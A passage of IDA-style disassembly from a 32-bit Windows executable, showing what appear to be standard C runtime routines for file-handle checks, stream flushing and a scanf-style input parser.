		or	eax, 0FFFFFFFFh
		jmp	short loc_412762
; ---------------------------------------------------------------------------

loc_412760:				; CODE XREF: sub_4126D1+81j
		xor	eax, eax

loc_412762:				; CODE XREF: sub_4126D1+8Dj
		pop	edi
		pop	esi
		retn
sub_4126D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412765	proc near		; CODE XREF: sub_40D1E4+48p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	10h
		push	offset dword_421B50
		call	__SEH_prolog4
		mov	eax, [ebp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_412794
		call	sub_40F7E7
		and	dword ptr [eax], 0
		call	sub_40F7D4
		mov	dword ptr [eax], 9

loc_41278C:				; CODE XREF: sub_412765+5Cj
		or	eax, 0FFFFFFFFh
		jmp	loc_412822
; ---------------------------------------------------------------------------

loc_412794:				; CODE XREF: sub_412765+12j
		xor	edi, edi
		cmp	eax, edi
		jl	short loc_4127A2
		cmp	eax, dword_433BE4
		jb	short loc_4127C3

loc_4127A2:				; CODE XREF: sub_412765+33j
					; sub_412765+7Cj
		call	sub_40F7E7
		mov	[eax], edi
		call	sub_40F7D4
		mov	dword ptr [eax], 9
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40CB08
		add	esp, 14h
		jmp	short loc_41278C
; ---------------------------------------------------------------------------

loc_4127C3:				; CODE XREF: sub_412765+3Bj
		mov	ecx, eax
		sar	ecx, 5
		lea	ebx, ds:433C00h[ecx*4]
		mov	esi, eax
		and	esi, 1Fh
		imul	esi, 28h
		mov	ecx, [ebx]
		movzx	ecx, byte ptr [ecx+esi+4]
		and	ecx, 1
		jz	short loc_4127A2
		push	eax
		call	sub_4189BA
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_412804
		push	[ebp+arg_0]
		call	sub_4126D1
		pop	ecx
		mov	[ebp+var_1C], eax
		jmp	short loc_412813
; ---------------------------------------------------------------------------

loc_412804:				; CODE XREF: sub_412765+8Fj
		call	sub_40F7D4
		mov	dword ptr [eax], 9
		or	[ebp+var_1C], 0FFFFFFFFh

loc_412813:				; CODE XREF: sub_412765+9Dj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_412828
		mov	eax, [ebp+var_1C]

loc_412822:				; CODE XREF: sub_412765+2Aj
		call	__SEH_epilog4
		retn
sub_412765	endp


; =============== S U B	R O U T	I N E =======================================



sub_412828	proc near		; CODE XREF: sub_412765+B5p
					; DATA XREF: r69pu5ti:00421B68o
		push	dword ptr [ebp+8]
		call	sub_418A5A
		pop	ecx
		retn
sub_412828	endp


; =============== S U B	R O U T	I N E =======================================



sub_412832	proc near		; CODE XREF: sub_40D1E4+3Cp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41285C
		test	al, 8
		jz	short loc_41285C
		push	dword ptr [esi+8]
		call	sub_40D35A
		and	dword ptr [esi+0Ch], 0FFFFFBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax

loc_41285C:				; CODE XREF: sub_412832+Aj
					; sub_412832+Ej
		pop	esi
		retn
sub_412832	endp


; =============== S U B	R O U T	I N E =======================================



sub_41285E	proc near		; CODE XREF: sub_40D1E4+34p
					; sub_412435+15p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	cl, 3
		xor	ebx, ebx
		cmp	cl, 2
		jnz	short loc_4128B2
		test	ax, 108h
		jz	short loc_4128B2
		mov	eax, [esi+8]
		push	edi
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_4128B1
		push	edi
		push	eax
		push	esi
		call	sub_4126A4
		pop	ecx
		push	eax
		call	sub_417180
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_4128AA
		mov	eax, [esi+0Ch]
		test	al, al
		jns	short loc_4128B1
		and	eax, 0FFFFFFFDh
		mov	[esi+0Ch], eax
		jmp	short loc_4128B1
; ---------------------------------------------------------------------------

loc_4128AA:				; CODE XREF: sub_41285E+3Bj
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh

loc_4128B1:				; CODE XREF: sub_41285E+25j
					; sub_41285E+42j ...
		pop	edi

loc_4128B2:				; CODE XREF: sub_41285E+13j
					; sub_41285E+19j
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_41285E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4128C0	proc near		; CODE XREF: sub_412902+69p
					; sub_412902+84p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_4128D2
		push	esi
		call	sub_412902
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4128D2:				; CODE XREF: sub_4128C0+7j
		push	esi
		call	sub_41285E
		test	eax, eax
		pop	ecx
		jz	short loc_4128E2
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4128E2:				; CODE XREF: sub_4128C0+1Bj
		test	word ptr [esi+0Ch], 4000h
		jz	short loc_4128FE
		push	esi
		call	sub_4126A4
		push	eax
		call	sub_418C1B
		pop	ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4128FE:				; CODE XREF: sub_4128C0+28j
		xor	eax, eax
		pop	esi
		retn
sub_4128C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412902	proc near		; CODE XREF: sub_4128C0+Ap
					; sub_4129DC+2p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 004129B5 SIZE 0000001E BYTES

		push	14h
		push	offset dword_421B70
		call	__SEH_prolog4
		xor	edi, edi
		mov	[ebp+var_1C], edi
		mov	[ebp+var_24], edi
		push	1
		call	sub_40F9F7
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		xor	esi, esi

loc_412923:				; CODE XREF: sub_412902+9Bj
		mov	[ebp+var_20], esi
		cmp	esi, dword_434D20
		jge	loc_4129B5
		mov	eax, dword_433D00
		lea	eax, [eax+esi*4]
		cmp	[eax], edi
		jz	short loc_41299C
		mov	eax, [eax]
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_41299C
		push	eax
		push	esi
		call	sub_411E0F
		pop	ecx
		pop	ecx
		xor	edx, edx
		inc	edx
		mov	[ebp+ms_exc.disabled], edx
		mov	eax, dword_433D00
		mov	eax, [eax+esi*4]
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_412994
		cmp	[ebp+arg_0], edx
		jnz	short loc_41297B
		push	eax
		call	sub_4128C0
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412994
		inc	[ebp+var_1C]
		jmp	short loc_412994
; ---------------------------------------------------------------------------

loc_41297B:				; CODE XREF: sub_412902+66j
		cmp	[ebp+arg_0], edi
		jnz	short loc_412994
		test	cl, 2
		jz	short loc_412994
		push	eax
		call	sub_4128C0
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412994
		or	[ebp+var_24], eax

loc_412994:				; CODE XREF: sub_412902+61j
					; sub_412902+72j ...
		mov	[ebp+ms_exc.disabled], edi
		call	sub_4129A4

loc_41299C:				; CODE XREF: sub_412902+3Aj
					; sub_412902+42j
		inc	esi
		jmp	short loc_412923
sub_412902	endp


; =============== S U B	R O U T	I N E =======================================



sub_41299F	proc near		; DATA XREF: r69pu5ti:00421B94o
		xor	edi, edi
		mov	esi, [ebp-20h]
sub_41299F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4129A4	proc near		; CODE XREF: sub_412902+95p
		mov	eax, dword_433D00
		push	dword ptr [eax+esi*4]
		push	esi
		call	sub_411E61
		pop	ecx
		pop	ecx
		retn
sub_4129A4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_412902

loc_4129B5:				; CODE XREF: sub_412902+2Aj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_4129D3
		cmp	[ebp+arg_0], 1
		mov	eax, [ebp+var_1C]
		jz	short loc_4129CD
		mov	eax, [ebp+var_24]

loc_4129CD:				; CODE XREF: sub_412902+C6j
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_412902

; =============== S U B	R O U T	I N E =======================================



sub_4129D3	proc near		; CODE XREF: sub_412902+BAp
					; DATA XREF: r69pu5ti:00421B88o
		push	1
		call	sub_40F91F
		pop	ecx
		retn
sub_4129D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4129DC	proc near		; CODE XREF: sub_411DC0p
		push	1
		call	sub_412902
		pop	ecx
		retn
sub_4129DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4129E5	proc near		; CODE XREF: sub_412A74+3CDp
					; sub_412A74+447p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esi]
		cmp	[esp+arg_0], eax
		jnz	short loc_412A35
		mov	ecx, [edi]
		cmp	ecx, [esp+arg_4]
		push	2
		push	eax
		jnz	short loc_412A24
		call	sub_41187A
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jnz	short loc_412A08

loc_412A05:				; CODE XREF: sub_4129E5+4Aj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_412A08:				; CODE XREF: sub_4129E5+1Ej
		mov	eax, [esp+arg_8]
		mov	dword ptr [eax], 1
		push	dword ptr [esi]
		push	[esp+4+arg_4]
		push	dword ptr [edi]
		call	sub_40D820
		add	esp, 0Ch
		jmp	short loc_412A33
; ---------------------------------------------------------------------------

loc_412A24:				; CODE XREF: sub_4129E5+11j
		push	ecx
		call	sub_41190D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_412A05
		mov	[edi], eax

loc_412A33:				; CODE XREF: sub_4129E5+3Dj
		shl	dword ptr [esi], 1

loc_412A35:				; CODE XREF: sub_4129E5+6j
		xor	eax, eax
		inc	eax
		retn
sub_4129E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_412A39	proc near		; CODE XREF: sub_412A4F+7p
					; sub_412A74+2E1p ...
		dec	dword ptr [edx+4]
		js	short loc_412A47
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------

loc_412A47:				; CODE XREF: sub_412A39+3j
		push	edx
		call	sub_413A04
		pop	ecx
		retn
sub_412A39	endp


; =============== S U B	R O U T	I N E =======================================



sub_412A4F	proc near		; CODE XREF: sub_412A74+14Fp
					; sub_412A74+2D3p

arg_0		= dword	ptr  4

		push	ebx

loc_412A50:				; CODE XREF: sub_412A4F+1Fj
		mov	edx, [esp+4+arg_0]
		inc	dword ptr [esi]
		call	sub_412A39
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_412A70
		movzx	eax, bl
		push	eax
		call	sub_418E42
		test	eax, eax
		pop	ecx
		jnz	short loc_412A50

loc_412A70:				; CODE XREF: sub_412A4F+11j
		mov	eax, ebx
		pop	ebx
		retn
sub_412A4F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=18Ch


sub_412A74	proc near		; DATA XREF: sub_40D33B+10o

var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1F0		= dword	ptr -1F0h
var_1EC		= byte ptr -1ECh
var_1E8		= dword	ptr -1E8h
var_1E4		= dword	ptr -1E4h
var_1E0		= dword	ptr -1E0h
var_1DC		= byte ptr -1DCh
var_1DB		= byte ptr -1DBh
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C9		= byte ptr -1C9h
var_1C8		= dword	ptr -1C8h
var_1C4		= dword	ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= dword	ptr -1BCh
var_1B8		= dword	ptr -1B8h
var_1B4		= dword	ptr -1B4h
var_1B0		= dword	ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= dword	ptr -1A8h
var_1A4		= byte ptr -1A4h
var_1A3		= byte ptr -1A3h
var_1A2		= byte ptr -1A2h
var_1A1		= byte ptr -1A1h
var_1A0		= dword	ptr -1A0h
var_19A		= byte ptr -19Ah
var_199		= byte ptr -199h
var_198		= dword	ptr -198h
var_191		= byte ptr -191h
var_190		= dword	ptr -190h
var_189		= byte ptr -189h
var_188		= dword	ptr -188h
var_184		= byte ptr -184h
var_24		= byte ptr -24h
var_19		= byte ptr -19h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		lea	ebp, [esp-18Ch]
		sub	esp, 1FCh
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+18Ch+var_4], eax
		mov	eax, [ebp+18Ch+arg_C]
		push	ebx
		push	esi
		mov	esi, [ebp+18Ch+arg_0]
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+18Ch+arg_4]
		cmp	edi, ebx
		mov	[ebp+18Ch+var_1E4], eax
		lea	eax, [ebp+18Ch+var_184]
		mov	[ebp+18Ch+var_1A0], esi
		mov	[ebp+18Ch+var_1B4], edi
		mov	[ebp+18Ch+var_1B0], eax
		mov	[ebp+18Ch+var_1D8], 15Eh
		mov	[ebp+18Ch+var_1D0], ebx
		mov	[ebp+18Ch+var_1E8], ebx
		mov	[ebp+18Ch+var_190], ebx
		jnz	short loc_412AE9

loc_412AC9:				; CODE XREF: sub_412A74+77j
					; sub_412A74+C6j ...
		call	sub_40F7D4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40CB08
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	loc_4136A9
; ---------------------------------------------------------------------------

loc_412AE9:				; CODE XREF: sub_412A74+53j
		cmp	esi, ebx
		jz	short loc_412AC9
		test	byte ptr [esi+0Ch], 40h
		jnz	loc_412B88
		push	esi
		call	sub_4126A4
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_412B31
		push	esi
		call	sub_4126A4
		cmp	eax, 0FFFFFFFEh
		pop	ecx
		jz	short loc_412B31
		push	esi
		call	sub_4126A4
		sar	eax, 5
		push	esi
		lea	edi, ds:433C00h[eax*4]
		call	sub_4126A4
		and	eax, 1Fh
		imul	eax, 28h
		add	eax, [edi]
		pop	ecx
		pop	ecx
		jmp	short loc_412B36
; ---------------------------------------------------------------------------

loc_412B31:				; CODE XREF: sub_412A74+8Dj
					; sub_412A74+99j
		mov	eax, offset dword_423BB8

loc_412B36:				; CODE XREF: sub_412A74+BBj
		test	byte ptr [eax+24h], 7Fh
		jnz	short loc_412AC9
		push	esi
		call	sub_4126A4
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_412B76
		push	esi
		call	sub_4126A4
		cmp	eax, 0FFFFFFFEh
		pop	ecx
		jz	short loc_412B76
		push	esi
		call	sub_4126A4
		sar	eax, 5
		push	esi
		lea	edi, ds:433C00h[eax*4]
		call	sub_4126A4
		and	eax, 1Fh
		imul	eax, 28h
		add	eax, [edi]
		pop	ecx
		pop	ecx
		jmp	short loc_412B7B
; ---------------------------------------------------------------------------

loc_412B76:				; CODE XREF: sub_412A74+D2j
					; sub_412A74+DEj
		mov	eax, offset dword_423BB8

loc_412B7B:				; CODE XREF: sub_412A74+100j
		test	byte ptr [eax+24h], 80h
		jnz	loc_412AC9
		mov	edi, [ebp+18Ch+var_1B4]

loc_412B88:				; CODE XREF: sub_412A74+7Dj
		push	[ebp+18Ch+arg_8]
		lea	ecx, [ebp+18Ch+var_1F8]
		call	sub_40AB59
		mov	al, [edi]
		test	al, al
		mov	[ebp+18Ch+var_1A1], bl
		mov	[ebp+18Ch+var_188], ebx
		mov	[ebp+18Ch+var_1C8], ebx
		jz	loc_413699
		mov	edi, [ebp+18Ch+var_1B4]

loc_412BAC:				; CODE XREF: sub_412A74+BC2j
		movzx	eax, al
		push	eax
		call	sub_418E42
		test	eax, eax
		pop	ecx
		jz	short loc_412BED
		push	[ebp+18Ch+var_1A0]
		dec	[ebp+18Ch+var_188]
		lea	esi, [ebp+18Ch+var_188]
		call	sub_412A4F
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_412BD9
		push	[ebp+18Ch+var_1A0]
		push	eax
		call	sub_418E6B
		pop	ecx
		pop	ecx

loc_412BD9:				; CODE XREF: sub_412A74+158j
					; sub_412A74+172j
		inc	edi
		movzx	eax, byte ptr [edi]
		push	eax
		call	sub_418E42
		test	eax, eax
		pop	ecx
		jnz	short loc_412BD9
		jmp	loc_413632
; ---------------------------------------------------------------------------

loc_412BED:				; CODE XREF: sub_412A74+144j
		cmp	byte ptr [edi],	25h
		jnz	loc_4135DA
		xor	eax, eax
		mov	[ebp+18Ch+var_1E0], eax
		mov	[ebp+18Ch+var_1C9], al
		mov	[ebp+18Ch+var_1A8], eax
		mov	[ebp+18Ch+var_1B8], eax
		mov	[ebp+18Ch+var_198], eax
		mov	[ebp+18Ch+var_1A4], al
		mov	[ebp+18Ch+var_1A3], al
		mov	[ebp+18Ch+var_199], al
		mov	[ebp+18Ch+var_189], al
		mov	[ebp+18Ch+var_1A2], al
		mov	[ebp+18Ch+var_191], al
		mov	[ebp+18Ch+var_19A], 1
		mov	[ebp+18Ch+var_1D4], eax
		xor	esi, esi

loc_412C22:				; CODE XREF: sub_412A74+279j
		inc	edi
		movzx	ebx, byte ptr [edi]
		movzx	eax, bl
		push	eax
		call	sub_418D4B
		test	eax, eax
		pop	ecx
		jz	short loc_412C49
		mov	eax, [ebp+18Ch+var_198]
		inc	[ebp+18Ch+var_1B8]
		imul	eax, 0Ah
		lea	eax, [eax+ebx-30h]
		mov	[ebp+18Ch+var_198], eax
		jmp	loc_412CE9
; ---------------------------------------------------------------------------

loc_412C49:				; CODE XREF: sub_412A74+1BEj
		cmp	ebx, 4Eh
		jg	short loc_412CBF
		jz	loc_412CE9
		cmp	ebx, 2Ah
		jz	short loc_412CBA
		cmp	ebx, 46h
		jz	loc_412CE9
		cmp	ebx, 49h
		jz	short loc_412C71
		cmp	ebx, 4Ch
		jnz	short loc_412CCE
		inc	[ebp+18Ch+var_19A]
		jmp	short loc_412CE9
; ---------------------------------------------------------------------------

loc_412C71:				; CODE XREF: sub_412A74+1F1j
		mov	cl, [edi+1]
		cmp	cl, 36h
		jnz	short loc_412C8E
		lea	eax, [edi+2]
		cmp	byte ptr [eax],	34h
		jnz	short loc_412C8E

loc_412C81:				; CODE XREF: sub_412A74+265j
		inc	[ebp+18Ch+var_1D4]
		mov	edi, eax
		mov	[ebp+18Ch+var_1C0], esi
		mov	[ebp+18Ch+var_1BC], esi
		jmp	short loc_412CE9
; ---------------------------------------------------------------------------

loc_412C8E:				; CODE XREF: sub_412A74+203j
					; sub_412A74+20Bj
		cmp	cl, 33h
		jnz	short loc_412C9F
		lea	eax, [edi+2]
		cmp	byte ptr [eax],	32h
		jnz	short loc_412C9F
		mov	edi, eax
		jmp	short loc_412CE9
; ---------------------------------------------------------------------------

loc_412C9F:				; CODE XREF: sub_412A74+21Dj
					; sub_412A74+225j
		cmp	cl, 64h
		jz	short loc_412CE9
		cmp	cl, 69h
		jz	short loc_412CE9
		cmp	cl, 6Fh
		jz	short loc_412CE9
		cmp	cl, 78h
		jz	short loc_412CE9
		cmp	cl, 58h
		jnz	short loc_412CCE
		jmp	short loc_412CE9
; ---------------------------------------------------------------------------

loc_412CBA:				; CODE XREF: sub_412A74+1E3j
		inc	[ebp+18Ch+var_199]
		jmp	short loc_412CE9
; ---------------------------------------------------------------------------

loc_412CBF:				; CODE XREF: sub_412A74+1D8j
		cmp	ebx, 68h
		jz	short loc_412CE3
		cmp	ebx, 6Ch
		jz	short loc_412CD3
		cmp	ebx, 77h
		jz	short loc_412CDE

loc_412CCE:				; CODE XREF: sub_412A74+1F6j
					; sub_412A74+242j
		inc	[ebp+18Ch+var_189]
		jmp	short loc_412CE9
; ---------------------------------------------------------------------------

loc_412CD3:				; CODE XREF: sub_412A74+253j
		lea	eax, [edi+1]
		cmp	byte ptr [eax],	6Ch
		jz	short loc_412C81
		inc	[ebp+18Ch+var_19A]

loc_412CDE:				; CODE XREF: sub_412A74+258j
		inc	[ebp+18Ch+var_191]
		jmp	short loc_412CE9
; ---------------------------------------------------------------------------

loc_412CE3:				; CODE XREF: sub_412A74+24Ej
		dec	[ebp+18Ch+var_19A]
		dec	[ebp+18Ch+var_191]

loc_412CE9:				; CODE XREF: sub_412A74+1D0j
					; sub_412A74+1DAj ...
		cmp	[ebp+18Ch+var_189], 0
		jz	loc_412C22
		cmp	[ebp+18Ch+var_199], 0
		mov	[ebp+18Ch+var_1B4], edi
		jnz	short loc_412D0A
		mov	eax, [ebp+18Ch+var_1E4]
		mov	esi, [eax]
		mov	[ebp+18Ch+var_1FC], eax
		add	eax, 4
		mov	[ebp+18Ch+var_1E4], eax

loc_412D0A:				; CODE XREF: sub_412A74+286j
		cmp	[ebp+18Ch+var_191], 0
		mov	[ebp+18Ch+var_1C4], esi
		mov	[ebp+18Ch+var_189], 0
		jnz	short loc_412D29
		mov	al, [edi]
		cmp	al, 53h
		jz	short loc_412D25
		cmp	al, 43h
		mov	[ebp+18Ch+var_191], 0FFh
		jnz	short loc_412D29

loc_412D25:				; CODE XREF: sub_412A74+2A7j
		mov	[ebp+18Ch+var_191], 1

loc_412D29:				; CODE XREF: sub_412A74+2A1j
					; sub_412A74+2AFj
		movzx	ebx, byte ptr [edi]
		or	ebx, 20h
		cmp	ebx, 6Eh
		mov	[ebp+18Ch+var_1AC], ebx
		jz	short loc_412D6C
		cmp	ebx, 63h
		jz	short loc_412D4F
		cmp	ebx, 7Bh
		jz	short loc_412D4F
		push	[ebp+18Ch+var_1A0]
		lea	esi, [ebp+18Ch+var_188]
		call	sub_412A4F
		pop	ecx
		jmp	short loc_412D5A
; ---------------------------------------------------------------------------

loc_412D4F:				; CODE XREF: sub_412A74+2C6j
					; sub_412A74+2CBj
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_412A39

loc_412D5A:				; CODE XREF: sub_412A74+2D9j
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+18Ch+var_190], eax
		jz	loc_413666
		mov	esi, [ebp+18Ch+var_1C4]
		mov	edi, [ebp+18Ch+var_1B4]

loc_412D6C:				; CODE XREF: sub_412A74+2C1j
		mov	ecx, [ebp+18Ch+var_1B8]
		test	ecx, ecx
		jz	short loc_412D7D
		cmp	[ebp+18Ch+var_198], 0
		jz	loc_41363E

loc_412D7D:				; CODE XREF: sub_412A74+2FDj
		cmp	ebx, 6Fh
		jg	loc_413189
		jz	loc_4133B4
		cmp	ebx, 63h
		jz	loc_41307B
		push	64h
		pop	eax
		cmp	ebx, eax
		jz	loc_4133B4
		jle	loc_4131B3
		cmp	ebx, 67h
		jle	short loc_412DE3
		cmp	ebx, 69h
		jz	short loc_412DCB
		cmp	ebx, 6Eh
		jnz	loc_4131B3
		cmp	[ebp+18Ch+var_199], 0
		mov	edi, [ebp+18Ch+var_188]
		jz	loc_4135AE
		jmp	loc_4135CE
; ---------------------------------------------------------------------------

loc_412DCB:				; CODE XREF: sub_412A74+33Aj
		mov	[ebp+18Ch+var_1AC], eax

loc_412DCE:				; CODE XREF: sub_412A74+734j
		mov	ebx, [ebp+18Ch+var_190]
		cmp	ebx, 2Dh
		jnz	loc_41329C
		mov	[ebp+18Ch+var_1A3], 1
		jmp	loc_4132A1
; ---------------------------------------------------------------------------

loc_412DE3:				; CODE XREF: sub_412A74+335j
		xor	ebx, ebx
		cmp	[ebp+18Ch+var_190], 2Dh
		jnz	short loc_412DF4
		mov	eax, [ebp+18Ch+var_1B0]
		mov	byte ptr [eax],	2Dh
		inc	ebx
		jmp	short loc_412DFA
; ---------------------------------------------------------------------------

loc_412DF4:				; CODE XREF: sub_412A74+375j
		cmp	[ebp+18Ch+var_190], 2Bh
		jnz	short loc_412E0B

loc_412DFA:				; CODE XREF: sub_412A74+37Ej
		dec	[ebp+18Ch+var_198]
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_412A39
		mov	[ebp+18Ch+var_190], eax

loc_412E0B:				; CODE XREF: sub_412A74+384j
		cmp	[ebp+18Ch+var_1B8], 0
		jnz	short loc_412E15
		or	[ebp+18Ch+var_198], 0FFFFFFFFh

loc_412E15:				; CODE XREF: sub_412A74+39Bj
		movzx	eax, byte ptr [ebp+18Ch+var_190]
		jmp	short loc_412E62
; ---------------------------------------------------------------------------

loc_412E1B:				; CODE XREF: sub_412A74+3F7j
		mov	eax, [ebp+18Ch+var_198]
		dec	[ebp+18Ch+var_198]
		test	eax, eax
		jz	short loc_412E6D
		mov	al, byte ptr [ebp+18Ch+var_190]
		mov	ecx, [ebp+18Ch+var_1B0]
		inc	[ebp+18Ch+var_1A8]
		mov	[ebx+ecx], al
		lea	eax, [ebp+18Ch+var_1D0]
		push	eax
		lea	eax, [ebp+18Ch+var_184]
		push	eax
		inc	ebx
		push	ebx
		lea	edi, [ebp+18Ch+var_1B0]
		lea	esi, [ebp+18Ch+var_1D8]
		call	sub_4129E5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_413666
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_412A39
		mov	[ebp+18Ch+var_190], eax
		movzx	eax, al

loc_412E62:				; CODE XREF: sub_412A74+3A5j
		push	eax
		call	sub_418D4B
		test	eax, eax
		pop	ecx
		jnz	short loc_412E1B

loc_412E6D:				; CODE XREF: sub_412A74+3AFj
		mov	eax, [ebp+18Ch+var_1F8]
		mov	eax, [eax+0BCh]
		mov	eax, [eax]
		mov	al, [eax]
		cmp	al, byte ptr [ebp+18Ch+var_190]
		mov	[ebp+18Ch+var_1A4], al
		jnz	loc_412F23
		mov	eax, [ebp+18Ch+var_198]
		dec	[ebp+18Ch+var_198]
		test	eax, eax
		jz	loc_412F23
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_412A39
		mov	ecx, [ebp+18Ch+var_1B0]
		mov	[ebp+18Ch+var_190], eax
		mov	al, [ebp+18Ch+var_1A4]
		mov	[ebx+ecx], al
		lea	eax, [ebp+18Ch+var_1D0]
		push	eax
		lea	eax, [ebp+18Ch+var_184]
		push	eax
		inc	ebx
		push	ebx
		lea	edi, [ebp+18Ch+var_1B0]
		lea	esi, [ebp+18Ch+var_1D8]
		call	sub_4129E5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_413666
		movzx	eax, byte ptr [ebp+18Ch+var_190]
		jmp	short loc_412F18
; ---------------------------------------------------------------------------

loc_412ED1:				; CODE XREF: sub_412A74+4ADj
		mov	eax, [ebp+18Ch+var_198]
		dec	[ebp+18Ch+var_198]
		test	eax, eax
		jz	short loc_412F23
		mov	eax, [ebp+18Ch+var_1B0]
		mov	cl, byte ptr [ebp+18Ch+var_190]
		inc	[ebp+18Ch+var_1A8]
		mov	[ebx+eax], cl
		lea	eax, [ebp+18Ch+var_1D0]
		push	eax
		lea	eax, [ebp+18Ch+var_184]
		push	eax
		inc	ebx
		push	ebx
		lea	edi, [ebp+18Ch+var_1B0]
		lea	esi, [ebp+18Ch+var_1D8]
		call	sub_4129E5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_413666
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_412A39
		mov	[ebp+18Ch+var_190], eax
		movzx	eax, al

loc_412F18:				; CODE XREF: sub_412A74+45Bj
		push	eax
		call	sub_418D4B
		test	eax, eax
		pop	ecx
		jnz	short loc_412ED1

loc_412F23:				; CODE XREF: sub_412A74+40Cj
					; sub_412A74+41Aj ...
		cmp	[ebp+18Ch+var_1A8], 0
		jz	loc_413023
		cmp	[ebp+18Ch+var_190], 65h
		jz	short loc_412F3D
		cmp	[ebp+18Ch+var_190], 45h
		jnz	loc_413023

loc_412F3D:				; CODE XREF: sub_412A74+4BDj
		mov	eax, [ebp+18Ch+var_198]
		dec	[ebp+18Ch+var_198]
		test	eax, eax
		jz	loc_413023
		mov	eax, [ebp+18Ch+var_1B0]
		mov	byte ptr [ebx+eax], 65h
		lea	eax, [ebp+18Ch+var_1D0]
		push	eax
		lea	eax, [ebp+18Ch+var_184]
		push	eax
		inc	ebx
		push	ebx
		lea	edi, [ebp+18Ch+var_1B0]
		lea	esi, [ebp+18Ch+var_1D8]
		call	sub_4129E5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_413666
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_412A39
		cmp	eax, 2Dh
		mov	[ebp+18Ch+var_190], eax
		jnz	short loc_412FA8
		mov	eax, [ebp+18Ch+var_1B0]
		mov	byte ptr [ebx+eax], 2Dh
		lea	eax, [ebp+18Ch+var_1D0]
		push	eax
		lea	eax, [ebp+18Ch+var_184]
		push	eax
		inc	ebx
		push	ebx
